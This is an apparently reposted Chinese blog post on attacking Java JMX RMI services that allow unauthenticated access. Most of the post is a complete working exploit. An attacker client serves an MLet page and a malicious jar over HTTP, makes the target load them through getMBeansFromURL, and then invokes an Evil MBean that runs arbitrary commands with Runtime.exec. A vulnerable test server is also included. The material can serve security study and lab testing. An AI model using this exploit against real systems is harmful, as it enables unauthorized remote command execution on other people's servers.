zoukankan      html  css  js  c++  java
  • JMX RMI 攻击利用

    攻击者通过构造恶意的MBean,调用 getMBeansFromURL 从远程服务器获取 MBean,通过MLet标签提供恶意的MBean对象下载。
    前提条件:
    允许远程访问,没有开启认证 (com.sun.management.jmxremote.authenticate=false)
    能够远程注册 MBean (javax.management.loading.MLet)
    常见端口1099进行攻击,攻击过程参考第二篇链接地址。
    攻击端:

    import com.sun.net.httpserver.HttpExchange;
    import com.sun.net.httpserver.HttpHandler;
    import com.sun.net.httpserver.HttpServer;
    
    import javax.management.MBeanServerConnection;
    import javax.management.ObjectInstance;
    import javax.management.ObjectName;
    import javax.management.remote.JMXConnector;
    import javax.management.remote.JMXConnectorFactory;
    import javax.management.remote.JMXServiceURL;
    import java.io.*;
    import java.net.InetAddress;
    import java.net.InetSocketAddress;
    import java.util.HashSet;
    import java.util.Iterator;
    
    /**
     * Created by k1n9 on 2017/8/23.
     */
    public class RemoteMbean {
        private static String JARNAME = "compromise.jar";
        private static String OBJECTNAME = "MLetCompromise1:name=evil,id=12";
        private static String EVILCLASS = "Evil";
    
        public static void main(String[] args) {
            try {
                //开启Http服务,提供带mlet标签的html和恶意MBean的jar包
                HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
                server.createContext("/mlet", new MLetHandler());
                server.createContext("/" + JARNAME, new JarHandler());
                server.setExecutor(null);
                server.start();
                //这里可以改成args的参数就可以在命令行下使用了,JMX的ip,端口,要执行的命令
                connectAndOwn("192.168.20.112", "8888", "whoami");
    
                server.stop(0);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
        static void connectAndOwn(String serverName, String port, String command) {
            try {
                //建立连接
                JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
                System.out.println("URL: " + u + ", connecting");
    
                JMXConnector c = JMXConnectorFactory.connect(u, null);
                System.out.println("Connected: " + c.getConnectionId());
    
                MBeanServerConnection m = c.getMBeanServerConnection();
    
                ObjectInstance evil_bean = null;
                try {
                    evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
                } catch (Exception e) {
                    evil_bean = null;
                }
    
                if (evil_bean == null) {
                    System.out.println("Trying to create bean...");
                    ObjectInstance evil = null;
                    try {
                        evil = m.createMBean("javax.management.loading.MLet", null);
                    } catch (javax.management.InstanceAlreadyExistsException e) {
                        evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
                    }
    
                    System.out.println("Loaded " + evil.getClassName());
                    //调用 getMBeansFromURL 从远程服务器获取 MBean
                    /*
                    加载包含 MLET 标记的文本文件,这些标记定义了要添加到 MBean 服务器的 MBean。
                    文本文件的位置由 URL 指定。
                    使用 UTF-8 编码来读取文本文件。
                    MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。
                    */
                    Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
                            new Object[] {String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress())},
                            new String[] {String.class.getName()}
                    );
                    HashSet res_set = (HashSet)res;
                    Iterator itr = res_set.iterator();
                    Object nextObject = itr.next();
                    if (nextObject instanceof Exception) {
                        throw ((Exception)nextObject);
                    }
                    evil_bean = ((ObjectInstance)nextObject);
                }
                //调用恶意 MBean 中用于执行命令的函数
                System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
                System.out.println("Calling runCommand with: " + command);
                Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{command}, new String[]{String.class.getName()});
                System.out.println("Result: " + result);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        static class MLetHandler implements HttpHandler {
            public void handle(HttpExchange t) throws IOException {
                /**
                 * mlet 标签
                 *
                 * CODE = class | OBJECT = serfile
                 * ARCHIVE = "archiveList"
                 * [CODEBASE = codebaseURL]
                 * [NAME = mbeanname]
                 * [VERSION = version]
                 * >
                 * [arglist]
                 *
                 */
                String respone = String.format("<HTML><mlet code=%s archive=%s name=%s></mlet></HTML>", EVILCLASS, JARNAME, OBJECTNAME);
                System.out.println("Sending mlet: " + respone + "
    ");
                t.sendResponseHeaders(200, respone.length());
                OutputStream os = t.getResponseBody();
                os.write(respone.getBytes());
                os.close();
            }
        }
    
        static class JarHandler implements HttpHandler {
            public void handle(HttpExchange t) throws IOException {
                System.out.println("Request made for JAR...");
                //这里的 compromise.jar 可以根据实际的路径来修改
                File file = new File("E:\Struts2-Vulenv-master\JndiExploit\src\compromise.jar");
                byte[] bytearray = new byte[(int)file.length()];
                FileInputStream fis = new FileInputStream(file);
                BufferedInputStream bis = new BufferedInputStream(fis);
                bis.read(bytearray, 0 , bytearray.length);
                t.sendResponseHeaders(200, file.length());
                OutputStream os = t.getResponseBody();
                os.write(bytearray, 0, bytearray.length);
                os.close();
            }
        }
    }
    

    EvilMBean.java

    public interface EvilMBean {
        public String runCommand(String cmd);
    }
    

    Evil.java

    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    
    public class Evil implements EvilMBean {
        @Override
        public String runCommand(String cmd) {
            try {
                Runtime rt = Runtime.getRuntime();
                Process proc = rt.exec(cmd);
                BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
                BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
                String stdout_err_data = "";
                String s;
                while ((s = stdInput.readLine()) != null) {
                    stdout_err_data += s + "
    ";
                }
                while ((s = stdError.readLine()) != null) {
                    stdout_err_data += s + "
    ";
                }
    
                proc.waitFor();
                return stdout_err_data;
            } catch (Exception e) {
                return e.toString();
            }
        }
    }
    

    服务器:

    import javax.management.MBeanServer;
    import javax.management.ObjectInstance;
    import javax.management.ObjectName;
    import javax.management.remote.JMXConnectorServer;
    import javax.management.remote.JMXConnectorServerFactory;
    import javax.management.remote.JMXServiceURL;
    import java.io.IOException;
    import java.lang.management.ManagementFactory;
    import java.net.MalformedURLException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    public class HelloAgentRemote {
        public static void main(String[] args) throws Exception {
    
            //创建MBeanServer
            MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
    //        ObjectName helloName = new ObjectName("jmxBean:name=Evil");
            //注册MBean,client通过helloName来获取new Evil()对象
    //         mbs.registerMBean(new Evil(), helloName);
    
            try {
                //这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer
                LocateRegistry.createRegistry(8888);
                JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:8888/jmxrmi");
                JMXConnectorServer cs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);
                System.out.println("....................begin rmi start.....");
                cs.start();
                System.out.println("....................rmi start.....");
            } catch (MalformedURLException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
    
        }
    }
    

    Alt text

    https://paper.tuisec.win/detail/28e1afa65b4ce86
    https://www.secpulse.com/archives/6203.html

  • 相关阅读:
    品鉴-宋词
    【转载】全球水质最棒的十大景点
    Python文档管理与格式化工具
    Python音频处理
    Python剪切板提取、截图、图片粘贴,操作汇总
    Python多进程
    Wifi配置
    条码生成与解析
    谎言: “太空能看到的惟一的人工痕迹,长城!”
    VNC-Server安装配置详解
  • 原文地址:https://www.cnblogs.com/afanti/p/10610682.html
Copyright © 2011-2022 走看看